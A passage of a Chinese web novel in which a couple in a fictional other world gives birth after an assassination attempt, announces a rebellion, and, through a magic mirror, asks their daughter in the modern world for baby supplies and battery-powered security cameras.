想起了熟知的历史,谢云溪默默点头。 袁博文时刻留意着谢云溪,见她神色有异,连忙问道:“渴不渴?要不要喝点水?” “好!”谢云溪说着,刚要起身,一阵疼痛传来,她的脸色变了。 袁博文连忙按住她:“你别动!我来!” 他竖起枕头,小心翼翼扶着谢云溪靠上面,又端了一碗温度适宜的热水,送到了谢云溪的嘴边。 喝了几口后,谢云溪摆了摆手,叹了口气:“还是年纪大了,以前生淼淼的时候,第二天我就下床了。” 袁博文放下碗后,又过来:“我都没觉得自己老,你还比我小好几岁呢……是靠着舒服?还是躺着好?” 谢云溪笑了:“我没那么娇气,自己来。” 但是袁博文没听,依旧亲自动手,让谢云溪躺好。陪着谢云溪说了一会话。直到她露出疲色,他这才停下来。等谢云溪睡着后,他掖了掖被角,将孩子放到谢云溪的旁边。 站起身后,他的脸色就变了,先前的儒雅和煦一扫而光,像是换了一个人,目光深沉幽冷,脸色沉肃,不严而威。 房门打开了。 门口守着的念荟等人都垂下了头,大气都不敢出一下。 今日的老爷让她们害怕,出现在门口的时候双目赤红,面色阴沉凶狠,让人不寒而栗。 念荟过去说话,都被他毫不留情一把推开了。他一眨不眨盯着床上的夫人,直愣愣过去,哆哆嗦嗦伸出手摸了摸夫人的手,突然哭了起来。 房间里的人都吓了一跳。她们从来都没有见到这种情形。 袁大人居然在哭?还哭的这么伤心? 念荟赶紧让所有人都出去了。 门带上了,出来的女孩们面面相觑。 夫人刚生产,老爷就这么闯进去了! 不是说产房污秽,男子忌讳进出吗?轻者倒霉,重者伤身。 老爷,不怕吗? 念荟小声示意她们到隔壁去,自己和贺天凤留了下来,守在了外面。 到了隔壁的女孩们也没坐多久,都担心谢云溪,过了一会,都出来了,跟念荟等人一道在门口等候着。 袁博文径直出去,到了屋檐下,又回过头来,看了看念荟等人,突然说道:“你们辛苦了!” 他已经得知谢云溪的生产过程。突然遇险,又突然发作。外面的人一度杀到院子门口,又有顶尖高手潜伏在周围,孩子一出生,便现身抢夺。 要不是这几个丫头,谢云溪一定过不了这一关,孩子也会落到他人手上。 这样的结果,他无法承受。 第135章 第135章 监控 念荟连忙说:“老爷, 这是我们份内的事情。” 袁博文点了点头,走了。 女孩们这才抬起头。念荟转身进到房间里,见谢云溪和孩子都睡着了, 示意跟着进来的都小声点。 贺天凤没有进来, 依旧守在门口。 袁博文出了院子, 带着人手守在门口的黎大山看到他, 连忙过来了。 “大人,昨日拿下的那几个活口还关在巡防营的大牢里, 江将军今日早上撬开他们的嘴,这伙人是镇北王府出来的。” 袁博文停下了脚步,脸色越发阴沉。 镇北王府!又是霍云泽!这是不把他弄死不绝罢休! 他一声不吭 ,上了车。到了城门口看到了城墙上的大旗, 上面偌大的袁字迎风飘展着。 城门口的巡防也比往日要多。 张贴告示的地方站着许多人,正在议论纷纷, 听到有车进来的动静,纷纷转过了头来。 袁博文已经跟张时文说好了,就趁这次的事件亮牌。朝廷对他们不仁,先是抛弃, 后是袭击,如今竟然企图用妻儿逼他就范,要将他献给北凉人,那就不能怪他不义了。 改顺易帜袁,就是一种声明, 从今往后, 他袁博文不再是大顺子民,听命于大顺朝廷了。 城门口那里贴出的告示就言明了这件事情。 府衙那般人文采斐然,明明是不那么光彩的事情, 但被他们渲染成他们为了北地数百万的百姓,迫不得已才如此做。 也是凑巧,霍云泽给力,为了迅速平定朝中的反对声音,竟然仓促与北凉定下了割让北地十六州的耻辱协议。 偏偏昨天又发生了谢云溪遇袭的事件。 这些都被张时文等人利用上了,大书特书,将他描绘成一个为民为国,赤胆忠诚的大好人,所做所为都是迫不得已。 所以,袁博文的车辆进城时,不仅遭遇了围观,还受到不知真假的热烈欢迎,更有甚者,居然有人跪到路边,冲他搭乘的车作揖,一副将他视为救苦救难的大英雄膜拜。 车里面的袁博文看到外面的景象,有些不自在了。挪了挪身,端好了脸面。 他先回了府里,简单洗漱了一番,这才在镜子跟前坐好。 袁淼很快出现在镜子里面了。昨天晚上没有看到谢云溪,她一宿都没睡好。今天白天哪里都没有去,一直坐在镜子跟前等待。 现在看到了袁博文,袁淼急切问道:“我妈呢?爸,她是不是昨天晚上发作了?现在怎么样?你什么时候回来的?事情忙完了吗” 一连串的问题,袁博文顿了顿才回答:“你妈昨天晚上生产了,是顺产,母子平安!” 袁淼愣住了。她可没忘记母亲尚未足月。 “不是还有一个月?怎么会这么快?她现在怎么样?人在哪里?不在府里吗?” “在郴州城外庄子上。” 袁淼又愣了愣:“她……去城外的庄子上干什么?爸!她是不是出了什么事情?” 袁博文想了想。他们造反的事情外面的人都知道了,现在没有必要再瞒着女儿了,而且,他非常需要女儿的帮助。 “淼淼,你没有猜错,你妈这次确实出了点意外。前天庄子上的农户出现上吐下泻的症状,还不是一个人,是好几个同时出现了这样的事情。你妈怀疑是农药中毒,昨天去了庄子上,结果,差点出事,她提前发作了。” 袁淼的脸色变了:“出了什么事情?” 使用农药防治棉花地的病虫害是她和谢云溪商量过后定下来的。农药是沈若臻在市场上购买到了。她接收后就传给了谢云溪,也知道最近几天,谢云溪正组织了人手在喷洒农药。 袁博文把昨天发生的事情简单说了一下。 袁淼听完后说:“农药中毒的事情肯定是假的,是这些人为了引出妈妈做的局!他们想抓住了妈妈,威胁你!” 在楚萧的介绍下,袁淼加了好几个军事爱好者的群。 虽然她在群里基本上不吭声,但是相关的信息浏览的多了,她也知道了,厉害的武器既是一种威慑,也会招来许多垂涎。一些机/密公司和研究院等更是会成为各种间/谍们的目标。 这些间谍的目的就是为了得到一些厉害武器的相关数据。 虽然父母那边的科技不发达,但是人性差不多。父母拿出来的现代化军械太惊人,对他们当下的社会几乎是降维式打击。这样厉害的东西一定会让某些人既忌惮又垂涎,千方百计想得到。 策反,利诱,威胁等手段肯定会层出不穷。父亲在军中,那些人奈何不了他,就把主意打到了母亲身上! 袁博文点头:“我们和你的想法一样。” “……淼淼,有一件事情,我们一直瞒着你,这次爸爸出去了这么多天,其实是为了拿下沔州。年节期间威远镖局的贺师傅回来了,带了岭南关家的回信,他们说朝廷要和北凉和谈了,准备割让北地十六州给北凉。我也是他们谈判的内容之一……所以,我们决定反了!以后自己干!不听任何一方命令!” 袁淼呆住了。造反?这件事情她从来都没有想过! 她也是第一次知道朝廷与北凉要和谈的事情。 大顺这时候和北凉谈判,能有什么好事?战场上得不到,谈判桌上也不可能得到。 北凉在横扫北地后,又南下拿下数座重城。他们肯定会狮子开大口。 但是割让北地十六州,却是袁淼没有想到的。父母所在郴州晋州可都是北地十六州之一,朝廷这么做,跟出卖了他们有什么两样? 大顺和北凉和谈,父亲居然成了谈判桌子讨价还价的货品! 北凉要父亲,肯定是为了他手中的那些现代化军械。朝廷连北地十六州都割让了,又怎么会舍不得父亲? 造反!必须造反!除了这个,父母没有其他的路可以走了! “造反这事一旦开始,就没有回头路了。我们一直犹豫,什么时候跟你说……” 袁淼连忙说道:“爸,你们应该早点告诉我!这么大的事情,你们还想瞒着我!你知道这些天你不在,我有担心你吗?” 袁博文立马认错:“这件事是我们考虑不周,主要是我,怕你担心!” 袁淼一脸不悦:“你们不说,我才更担心!” “是我错了!” 袁淼很生气。造反这么大的事情,父母居然瞒着她? “那这次的事情,是哪方势力出手?他们是不是想用妈妈来逼你就范。” 袁博文点头:“你知道镇北王霍云泽吧?你妈这次的事情,就是他出的手!” 袁淼想骂人了。霍云泽,她当然知道。关正就死在他的手上! 要不是他,父母一定会继续在晋州苟下去。这个人坑了关正,逼得父亲不得不拿出现代化军械,攻下郴州,以便能会倚仗的高耸城墙抵抗北凉的大军攻击。 “现在霍家大权在握,霍家女所出的皇子登上了大宝,他们已经签到了与北凉的和谈,把北地十六州割让给了北凉,除此之外,还有许多赔偿。” “原本造反的事情,我想等到合适的时间再公开,现在提前了。霍云泽不会放过我们,我现在也不想放过他!” 袁淼早就气愤填膺:“爸,你们想怎么做?我都支持你们!” 她原本就对霍云泽印象极差。言而无信,出尔反尔,不仅没有合作精神,还将他人的性命视若无物。 她对关正的印象就很不错。关正这个人虽然大大咧咧,但是他磊落正直,即便是在九死一生的情况下,他也没有想过放弃晋州的百姓。这个人的品质绝对称得上高尚。 父亲在他手下干了那么多匪夷所思的事情,他肯定知道父亲有古怪。但是他从来都没有拆穿,还多次帮忙掩护。把大局看得高于一切 就是这么一个人,竟然被霍云泽给坑死了。 霍云泽能是什么好东西? 现在他又开始对父亲和母亲出手了。 这个人必须得死!他不死,父母别想安稳过日子了。 “对付霍云泽不是一件简单的事情,他现在大权在握。我们在北地这里现在也旗帜鲜明亮出了态度。算是和他公开对上了。” 袁淼连忙提醒:“爸,霍云泽这次出手没能成功,他肯定不会就此罢休!” 袁博文点头,想到了这次出现的高手。那么高的院墙都能轻松越过,寻常防卫对他来说,不值一提。 连虎等人有枪在手,院子里外都是人,都差点让他把孩子抱走。 要不是谢云溪身边的丫头抱住这人的腿,他一定会得手。 这样的高手肯定不会只有一两个,下次来的谁知道会是什么人? 这次是他们运气好,下一次可不一定会有这么幸运。 他不想再次体验一次这样经历的。 “淼淼,现在的监控设备怎么样?” 袁博文想到了以前当老师的时候,为了防止学生作弊,考试的时候在教室里面安装了监控设备。 这个东西不错。安装了这样的设备,监考的老师省事多了。有没有作弊的情况,到监控室一看就知道了。 “挺好的。现在我们这边的大街小巷都装上了监控设备,犯罪的情况比以前少多少。” “以前的监控设备很单一,现在各种各样的都有。有针孔摄像头、红外线摄像头、摄像笔等等。” “爸,你是想在你们居住的地方安装摄像头吗?” “嗯,没错。这样的事情不会只出现这一次。这个世界的科技虽然不发达,但是能人异士不少。这次出手的就有一个高手,你弟弟都差点被他抱走。” “这样的人,神出鬼没,防不胜防,光靠护卫拦不住他们。如果有监控设备帮忙,应该会好多了。” 袁淼连忙点头:“我们这边现在许多普通家庭都装上了摄像头!” “我明天就去看看!你们居住的地方,必须要装这个。” 袁淼被袁博文的话吓到了,她刚出生弟弟差点被人抱走!这样的事情,绝对不能再出现第二次。 至于父亲所说的高手,她一点儿都不觉得奇怪。大千世界无奇不有。现在有关这些的小视频网络不少。 袁博文想了想,又问:“现代的监控设备,还是必须要接上电源吗?” 袁淼愣了愣,她对这些了解不多。虽然她现在住的房子也装上了监控设备,通过手机就能遥控操作。 但是这些是事先布设好了电源的,并且与网络连接上了,所以操作很便捷。即便是办公室里,她也能看到房子里发生的一切事情。 但是父母那边可没有电,更没有网络。 “我明天去问一问,应该有一些是不需要的电源。” 袁淼想到了最近疯传的酒店摄像头事件,那些针孔的摄像头都能放到灯罩上、插线孔里等,肉眼几乎看不到,需要借助特殊的设备才能发现。 这些摄像头都非常小,根本没法接电源,多半是使用了特殊的电池。 “爸,弟弟生下有多重?妈妈现在情况怎么样?” 刚才袁博文的一句母子平安,根本没有满足袁淼,更何况谢云溪生产的时候还出了意外。虽然袁博文轻描淡写说的不多,但是袁淼知道,事情一定很凶险。 “你弟弟虽然提前一个月出生,但体重也有五斤多,其他指标也都很健康。你妈现在也很好。” 袁淼一脸不相信看着袁博文。 袁博文笑着说:“这次我没有偏你,你妈生产的时候是出了点意外,但是她和孩子都没事。等过几天她的情况好一点了,就会搬回来,到时候你就知道,我有没有骗你了。” 袁淼只得作罢。 跟袁博文说完话,她就网上搜索监控设备的信息,又打电话给楚萧。 楚萧听完袁淼的意思后,连忙说道:“有啊!伟达科技最近就出了一款不需要插电的监控设备。它自带5000mAh大电池,支持充电模式,并且在信息传输方面更快更稳定,能实时捕捉拍摄,还能360度全景旋转摄像或拍照。” 袁淼心动了:“你能把这款监控设备的信息发给我吗?” 楚萧二话没说答应了。挂了电话后,他就联系了商家,要到第一手的信息,发给了袁淼。 袁淼接收到后,就研究了起来。 张青云进来了。 “袁总,今天警方去了曾家了解情况,曾嘉宝露面了,但是她否认了行动受限和家暴的事情。” 袁淼愣了愣。 那天的视频她还没有删除呢,曾嘉宝那种情况还不叫行动受限吗? 虽然那时候她还没出月子,风俗讲究不能出门吹风受凉等,可自家的房门应该是能自由出入的吧? 她可是曾家大小姐!曾辉华留下来的辉华矿业,她和她的孩子就是的继承人! 可她连房间都出不去,这不叫行动受限,那叫什么? “徐清阳在场吗?”袁淼问道。 张青云摇头。“警方应该是专门等到了徐清阳出门后,也过去按门铃的。” 袁淼不明白了。徐清阳又不在场,曾嘉宝为什么不说实话。 “曾嘉宝的情况怎么样?脸上没有受伤吗?行动有没有异常?” 张青云摇头。他虽然并不在现场,但是通过望远镜看到了这一切。 曾嘉宝既没有受伤,看起来也还好,除了精神不济,消瘦了许多以外,看不出其他异常。 袁淼想了想:“以后不用盯着她了,徐清阳那边……也收手吧。” 张青云答应了一声,出去了。 袁淼一个人安静坐了一会。 警方都找上门了,曾嘉宝还不说实话,她还操什么心?原本她们之间就相互不待见。 袁淼丢开了,继续研究手中的资料。到了晚上,敲了几次镜子,方才看到袁博文。 “爸,你一会儿是不是要到园子那边去?” 袁博文点头,“嗯!你妈身边的丫头虽然多,但是她们的年纪都不大,照顾孕妇和小孩都没有经验。” 袁淼笑着说:“你能把镜子带过去吗?我想看看他们。” “你放心吧,我回来就是来拿镜子的。” 不仅女儿牵挂着谢云溪,谢云溪也放不下女儿。 袁淼满意了,又把监控设备的消息传给了袁博文。 “这里面有一款监控设备不需要插电就能使用,它的电池容量很大,冲满一次能使用好几天。” “爸爸,我以前传给你们的太阳能充电板和发电机还能用吧?” “都能用!我看完这些后,再告诉你买一种。” 袁博文和女儿说完话后,就把镜子仔细包了起来,带上了车。 他到园子的时候,谢云溪刚给孩子喂完奶。 她的奶/水不多,好在袁淼早就准备好了奶粉奶瓶和纸尿裤等一应婴儿用品。 孩子喝完/奶后,满头大汗,念荟等人既好奇又担心。 谢云溪笑着说:“这是正常现象,婴幼儿新陈代谢比较快,汗腺发达,吃奶的时候有一些费劲,就会出一些汗,你们不用担心。” 叶淑婉等人在谢云溪身边呆的时间久了,也习惯了她与众不同的一些说法。 念荟等人放心了。谢云溪又让她们给孩子擦了擦汗。 袁博文进来了,原本围着孩子的丫头们都站了起来,低着头,一副大气都不敢出的样子。 谢云溪忍俊不禁,给了念荟一个眼色,让她把叶淑婉等人带了出去。 袁博文洗干净手,看了看孩子:“我怎么觉得他跟淼淼小时候一点儿都不像。” 谢云溪笑着说:“淼淼是足月生产,又是女孩子,出生的时候快有七斤了。他才五斤多一点,两个人怎么能一样?” 袁博文又看了看,摇头:“他没有淼淼小时候漂亮!” 谢云溪也对女儿出生时候的事情印象深刻。 许多婴儿刚出生的时候长得皱皱巴巴,模样儿跟个小老头差不多。她的女儿却不一样,出生的时候就很漂亮,养了一段时间更是粉雕玉琢,周围的邻居都喜欢逗她。 想起袁淼小时候,谢云溪问:“你回府了吗?有没有跟淼淼说一声?” 袁博文笑着说:“我知道你记挂她,我把镜子带过来了。有什么话,你自己跟她说吧。” 谢云溪很高兴,连忙整了整自己的头发和衣服,要坐起来。 袁博文嗔了一声:“你怎么能自己动?牵扯到伤口了,又要疼一阵。” 谢云溪笑着没说话。她虽然是经产妇,但是这一胎落地的时候还是动了刀,做了侧切。好在生产之前袁淼就准备了许多东西,侧切的伤口应该能较快恢复。 袁博文整理好床铺,摆好了镜子,谢云溪就启动了。 袁淼早就等在镜子跟前了,看到镜子里的谢云溪倚靠在床上,脸色苍白。她心里一酸,差点落泪了。 “妈,你怎么样?疼不疼?” 谢云溪笑着说:“我很好,你不用担心。” 袁淼不相信,每次询问,父母都这么回答,生怕她担心了。对此,她很有意见。自己又不是小孩。 但是考虑到谢云溪现在的情况,袁淼把到了嘴边的话又咽了下去。 “弟弟呢?他在哪里?我看看。” 袁博文把孩子抱了过来。袁淼突然想到她只能在镜子里看到父母。 谢云溪看到袁淼的表情,也想起来。当初他们买下通界宝镜时,沧月山上的老道就说过,异界的骨肉至亲只能选一个。他们就选了袁淼。 那时候这孩子还没有出生了,袁淼当然看不到他了。 “你在手机在旁边吧?” 袁淼连忙把手机传了过去。袁博文给儿子拍了照后,传给了袁淼。 袁淼目不转睛看着手机上的照片。 “他长得真好!像爸爸,也像妈妈!” 谢云溪笑了。 “刚才有一个人,还嫌他长得丑呢。” 袁淼不乐意了:“谁呀?这么不长眼!我们明明长得很好!” 谢云溪瞟了旁边一眼,袁博文像是没听见一样,抱着孩子面不改色。 袁淼依旧看得目不转睛:“看看这眉毛,又细又长,还有鼻子和嘴巴,哪一样不好看了?” 谢云溪也看了看孩子,还是觉得他没有女儿出生的时候漂亮。 “爸,妈,你们把弟弟的名字定下来了吗?” 谢云溪看了看袁博文。他们老早就给孩子想了几个名字,准备等生下来后,正式确定。 但是计划没有变化快。孩子提前一个月出生,她和袁博文还没有商量,定哪个名字。 袁博文心里一动:“淼淼,你来给你弟弟取个名字吧。” “你们不说早就想好了名字吗?拿过来我看看,我挑一个。” 袁博文把想好的几个名字告诉了袁淼。 第136章 第136章 去留 袁淼想了想:“淮安?袁淮安怎么样?” 父母现在做的事情非同小可。成则称王称霸, 败,就得远走他方。她当然结果是好的。淮,寓意胸怀大志, 安, 大安安天下, 小安则希望父母和弟弟一生平安。 袁博文和谢云溪相互看了一眼, 都明白了袁淼给儿子取这个名字的意义。 “好!”袁博文一口定下了,看着怀中的儿子说, “你以后就叫袁淮安了。” 袁淮安安安静静睡着,不知道自己名字就这么定下来了。 袁淼取完名字后,又看起手机中的袁淮安,问:“他现在是吃奶粉, 还是母乳喂养?” “都有,算是混合喂养。” 袁淼虽然没有结婚, 但自从谢云溪后怀孕后,她就开始关注怀孕生孩子养孩子等事情。知道母乳喂养才是最好的喂养的方式。 “是奶水不够?” “是啊。” 谢云溪觉得有可能是自己年纪大的缘故。女儿袁淼生下来的时候,全程母乳喂养,到了这个小的, 就出现了奶水不足的情况。 袁淼连忙安慰谢云溪:“这是小事。现在好多孩子一口母乳都没有喝,一样养得又白又胖。奶粉的事情交给我。” 谢云溪笑了笑。这件事情只能交给袁淼。这里喂养孩子,有钱人家几乎都交给了奶娘,只管生,不管喂。一个奶娘不够, 就请几个。 这种事情, 她可做不来。自己的孩子必须要自己喂养,奶水不足,她宁愿给孩子喝奶粉, 也不愿意把自己的孩子交给其他人喂养。 袁淼放大了袁淮安的照片,看到他穿着纸尿裤,抬头问道:“纸尿裤是不是也要买?你们给他用这个,有没有人说什么?” 谢云溪笑着说:“我身边这几个丫头都信得过。除了她们,你弟弟就没有经过其他人的手。” 袁淼被这次的事情吓到了,也变得有点草木皆兵。 “这是现在,以后他总是要抱出去的。我觉得你们还是先找个理由吧,免得有人问起来,你们说法不一样,漏了馅!” “好!”谢云溪笑着答应了。 袁淼开始掰着手指头算需要购买的东西,奶粉奶瓶纸尿裤等是必备品,还有婴儿的衣服等等。 谢云溪微笑看着,袁博文插了一句:“你妈伤口疼痛,你找人问问,有没有办法缓解?” 袁淼愣了愣。谢云溪连忙说:“你爸他不懂,不管是顺产还是剖腹产,伤口的恢复都没有那么快,刚开始有些疼很正常……” 袁淼看了看袁博文,见他还是一脸担心,知道谢云溪一定不是普通的疼。她把这件事情记在了心里上。又问起昨天的事情,谢云溪跟袁博文一样,轻描淡写说了几句。 袁淼一脸无语,明知道父母有所隐瞒,她还不能拆穿。 记下了要买的东西后,袁淼就和父母断开了联系。准备第二天亲自去买婴儿用品。 见过了袁淼后,谢云溪悬起的心也落下了。 “今天消息公布出来,郴州城里有没有人闹事?” 袁博文摇头,笑着把郴州城里的情况告诉了谢云溪。 谢云溪一脸诧异。 袁博文感慨说:“别说你了,我自己都很吃惊。今天我都做好了镇压闹事的准备。把长枪营和神器营各调了一个小队回来,并且跟江虎等人定好了策略和计划。” 结果,郴州城里不仅没有人闹事,他进城的时候还受到了夹道欢迎。 这里面有没有张时文的手笔,他不知道,但是他能感觉到郴州城里的气氛,并没有剑拔弩张,反而透着喜庆和激动。 告示贴出来后,城里也没有看到人们慌忙离开的景象。 当然,也有人举家离开。只是不多。反而进城的人排了好长的队伍。 谢云溪说:“我理解他们,北地十六州已经割让给北凉了,不日就会北凉官员过来接收。他们先前留给北地民众的印象实在太恶劣了。两者相比,他们当然愿意在生活在同族的统治和带领下。” 袁博文点头。在这世界的历史中,也有多次异族统治这一片土地的历史,但是史书记载的这些时期,几乎民不聊生,最后还是被推翻了。 “张时文也这么说,他还说过些天一定会有更多北地百姓陆续过来,府衙应该提前做好准备,免得到时候出乱子。” “张时文说的对,人多了,事情也多,如果管理不好,确实容易出事。” 谢云溪的话提醒了袁博文,他对谢云溪说:“我准备在咱们现在所住的宅子里安装上摄像头。” 谢云溪愣了愣,她印象中的摄像头还是许多年前的样子。 “安装摄像头得有电才行吧?” 袁博文笑着摇头,把带过来的一叠资料给谢云溪看:“咱们落伍了,现在的摄像头可跟以前不一样,没有电一样能用。” “你看看这款,不需要通电,自带了电池,用完之后,可以取出电池充电。它的电池容量也很大……” 谢云溪越看越惊讶,现代的电子设备发展太快了,他们离开才几年而已,以前流行的电子产品几乎都被淘汰了。 至于在居住的地方安装摄像头,她也觉得很好。有了摄像头,宅子里的护卫们就能轻松许多。 这东西可比护卫们的眼睛强多了,十几双眼睛都不一定有一个摄像头管用。 昨天的那个高手,进入这个园子的时候犹如无人之地。园子里面这么多人,都没有发现他就潜伏这个院子的附近。 有了摄像头,即便是护卫们追不上这样的高手,但肯定能很快发现。 “这款不错!跟淼淼说,就让她买这款。” 袁博文笑着说:“后面还有更好的,你慢慢看。” 谢云溪看完了,与袁博文讨论了一番,定下了要安装的摄像头。 “码头那边也可以安装上这个。” 袁淼买过来的游轮一直停靠海边,那一片地都被圈了起来,且日夜都有人看守着。 袁博文点头,看完了袁淼传过来的资料后,他还想在军中安装上这个,尤其是神器营和库房。巡逻和看守这些地方太费人了。 “淼淼说在现代摄像头已经普及了,大街小巷都有,有了这个,犯罪率直线下降。 谢云溪不禁感慨:“现代的科技发展太快了,这里什么时候才能萌芽?” 袁博文笑了起来,发展科技肯定要等局势稳定下来之后才行。 时间不早了,袁博文准备收摊了。谢云溪突然问道:“你去过关府了吗?庄静对你们的事情是什么看法?” 袁博文好一会没说话。 他决定自己干的时候,虽然没有明说,但是军中各营主将很快就猜到了,不过他们并没有对外透露,连家里的人都没说。 他一直在犹豫,要不要跟庄静说一声。按说这件事情,他不应该瞒着庄静,毕竟她是关正的妻子,而他接手的又是关正的原班人马。 现在的晋州军已经扩大了不少,但是主要的将领大部分还是来自晋州。 可是,庄静的身后还有一个岭南关家。关轩写信透露和谈的事情,这里面就有拱火的成分。他不知道这关家到底是友,还是敌?不敢贸然把造反的事情告诉。 不过,在这次准备公开之前,他让张时文把三州府衙的几位大人们邀到一起商量事情。就是想让庄静提前知道这件事情。 庄炜担任晋州府衙事务,商量过后,一定会把这件事情告诉庄静。 他不知道庄静会怎么抉择。 岭南关家还有一个大管事一直在郴州,如果庄静想离开,这次就是个机会。有关家的管事一路护送,他也能放心。 “我不知道。我没有找过他们。不过昨天晚上,我让张时文把三州府衙的大人都邀到了一起,庄炜也来了。他回去后,肯定会跟庄静说这件事情。” “今天一大早,关家就有人出城了,不过,庄静和孩子们都没有动,庄炜一家也没有任何动静。” 谢云溪也拿不准庄静会怎么做。 袁博文和谢云溪正在讨论庄静的时候,庄静也正在与母亲庄老夫人和嫂嫂周氏说袁博文和谢云溪两口子的事情。 昨天晚上她就知道了袁博文要起兵造反的事情,心里居然有种尘埃落定的安宁。 庄炜问她想法。说她如果想走,最好快点。 朝廷已经与北凉签订了割让北地十六州的议书。不日就会北凉官员过来接收北地各大州府,到时候各方面的管理很有可能会严苛起来,如果那个时候再离开,恐怕就没有现在容易了。 走?离开北地?去岭南关家吗?她鲜少有这样的想法。自己在北地生北地长,孩子们也一样,他们肯定也不愿意离开。 但是一大清早,关许就过来了,催促她早做定夺,说如今的郴州已经不安全了,北凉刚拿到和谈议书,袁博文就昭告天下起兵,这不仅打了朝廷的脸面,也一定会招来北凉的重兵来剿。 她推说事情太大,一时难以抉择,搪塞了过去。 等到关许走后,她就来到了庄府。把街上的动静告诉了庄老夫人和周氏。 周氏笑着说:“这事儿昨日晚上我们就知道了。老爷夜里回来了一趟,和府衙张大人等议完事后,又赶了回去。这件事情就是老爷告诉我们的。” 庄老夫人的脸色很好:“他没跟你说吗?” 庄静点头:“说了,他还问想法,我能怎么想?景钰和景和肯定不愿意走的,我能丢开他们吗?” 庄静的话音刚落,周氏便说:“走什么?这里挺好的。袁大人前几天就拿下了沔州,现在又围住了商州,想来要不多久,就会听到好消息了。” 庄静看了看周氏和庄老夫人:“你们不知道吗?昨天袁夫人出事了,袁大人连夜赶了回来了。商州那边怕是没那么快了。” 周氏愣住了。庄老夫人急切询问:“出了什么事?是袁夫人提前发作了吗?孩子生下来了吗?” “生了。昨天袁夫人去了庄子上,在那里遇到袭击!幸亏巡防营赶到的及时,否则的话一切都不好说!” 庄老夫人和周氏都愣住了。庄静看着她们:“这么大的事情,庄炜没跟你们说吗?城门口的告示都贴出来了!” 周氏脸色讪讪,她这日还没出过门,属实不知道发生了这么大的事情。 “庄炜昨夜来去匆匆,定然是忘记了说这事。”庄老夫人给周氏找了理由,“袁夫人这一胎是男是女?” 庄静笑着回答:“是位小少爷呢。” “真是菩萨保佑!袁大人和袁夫人终于有后!好!我们找个时间过去看看!” 庄静摇头:“现在怕是不行!因为这次的意外,袁大人已经把那处园子团团围了起来。连张夫人过去探问,都被拦了下来,不让进去呢。” “那就等她搬回来了,我们再去。” 庄静和周氏都应下了。周氏问道:“这次的遇袭,知道是谁干的吗?” 庄静摇头。庄老夫人皱了皱眉:“这事怎么能随便打听!” 周氏垂下了头。庄老夫人又问庄静:“孩子怎么样?生下来有多重?” “听说不轻,并不像没有足月的样子。” 庄老夫人叹了口气:“不足月生下的孩子不好带啊。袁大人和袁夫人好不容易盼来这一胎,没想到居然遇到了意外。” 周氏也在一旁说:“袁夫人到了如今的年纪才得了这么一个宝贝疙瘩,一定会看得比眼珠子还重。” 庄静愣了愣:“谁说袁夫人只有这一个了?这是小的!他们还有一个闺女呢。” 庄老夫人和周氏都愣住了,他们还是第一次听说袁博文和谢云溪还有个女儿。 “我也是听他们说起才知道的。袁大人和袁夫人的这个闺女比景钰要大几岁。一直在海外。” 说起海外,众人都感兴趣,可惜她们从小到大,连门都很少迈过,更别说海外了。 “岭南关家那边的关管事知道了袁大人要起兵的事情吗?” “已经知道了,一清早就劝我带着孩子们离开郴州,说如今郴州已经不安全了,马上就有祸事要来。” 周氏不禁皱了皱眉:“这关管事怎么乱说话?如今郴州还不好吗?整个北地都没有比这里更热闹繁荣的地方了!” “每天城门口都有那么多人排队等着进城,他没有看到吗?” 庄老夫人笑着说:“关管事并不是我们北地的人,看不清楚这些很正常。” 周氏却不以为然。 如今大顺与北凉的和谈议书已经签订,不日就会有北凉官员过来接收各州府。不愿意接受北凉治理的民众只有两条路可以走,要么千里迢迢去关内,要么来郴州晋州贺州沔州。这四州尚未落到北凉人手上。袁大人今日昭告了天下,以后来这里的人一定会更多。 第137章 第137章 冶铁 庄老夫人又问庄静:“昨晚你兄长问你想法, 你一时没主意,今日定下来了吗?” 周氏也看了过来。 庄静点头,斩钉截铁说:“我跟着你们!” 周氏不禁笑了。跟着他们, 可不就是选择了留下来拥护袁大人? 庄老夫人也露出了笑容, 拍了拍庄静的手, “好!我们一家人在一起, 也好有个照应,你去了岭南, 以后我们想见一面都难了。” 庄静想着如今的局势,真合了母亲的话,岭南和北地以后不仅仅是南北地域的远隔了。 她若真去了,许是这一生再也回不来了。 庄静笑着说:“我就没想过要去岭南。” 从晋州搬到郴州时, 她心里隐隐就有了些想法了,再后来, 又出了和谈的事情,初闻的时候气得发抖,心里的那个念头也越发清晰了。 但袁府一直没动静,她这里又有一个关许, 她不好频频见袁夫人,只得把心里的念头按下。昨日庄炜来时,她觉得心里悬着石头终于落地了。 袁博文起兵举旗自立为王!那他们的命运以后就再也不用受他人磋磨了! 只是当时关许就在府里,她不好说明说,便含糊了几句。 * 第二天, 袁淼就来到了婴幼儿用品专卖店, 仔细挑选清单上物品。 不远处有两个销售员在窃窃私语,满脸春色。 “刚才那人好帅!” “你眼馋没用!人家都在购买婴幼儿用品了,肯定英年早婚啦!” 销售员唉声叹气:“你说我怎么就遇不到这样一个又帅又体贴的男人?你不知道, 我刚才跟他说话,心都快跳出嗓子眼了!” 她的同事笑她。销售员依旧一脸向往。 “我在这里都有一年多了,看到男顾客单独进来购买婴幼儿用品的次数寥寥无几!也不知道他老婆修几辈子的福气,才遇到了他。” “我刚才还看到有人偷偷拍照呢,肯定是想把他发到网上……” 袁淼来到她们身边时,两个销售员这才惊醒,连忙热情招待起来。 “您眼光真好,我们这款纸尿裤柔软亲肤,吸水性,又有防漏设计,一晚上都不会出现渗透的情况!” 袁淼想到了袁淮安的情况:“这款纸尿裤有没有NB码的?” “有!”销售员去拿纸尿裤了。 袁淼的目光随着她,一下子就看到了徐清阳。他西装笔挺,正在柜台前结账,经过的女士们有好几个回头看他。 袁淼立刻退到了货架的后面,她不想见到这个人。销售员拿了纸尿裤过来,袁淼挑好了,依旧没有过去结账。直到看到徐清阳离开后,她才去柜台。 提着大包小包上了车,袁淼又让保镖铁梅去医院。 徐清阳坐在车里看到了这一幕,眉眼深沉。 “跟上刚才那辆车,别靠的太近!” 司机出发了,来到医院楼下。 徐清阳看到袁淼下了车,医院门口有个高大帅气的年轻男子立刻迎了上来。两人亲密说着话,一起走进医院。 徐清阳儒雅和煦脸上出现了裂痕,一反常态,变得阴沉狠厉,手也握成了拳头。冷声吩咐:“你去看看刚才下车的女人来医院干什么?” 助理下了车。 袁淼不知道自己已经被人盯上了,她跟杨有为道谢。 杨有为笑呵呵说:“袁总太客气了,以我们的交情,这不是应该的吗?……妇产科在六楼,我跟您约的钟主任是这方面的专家,您有什么问题,都可以跟她咨询。” 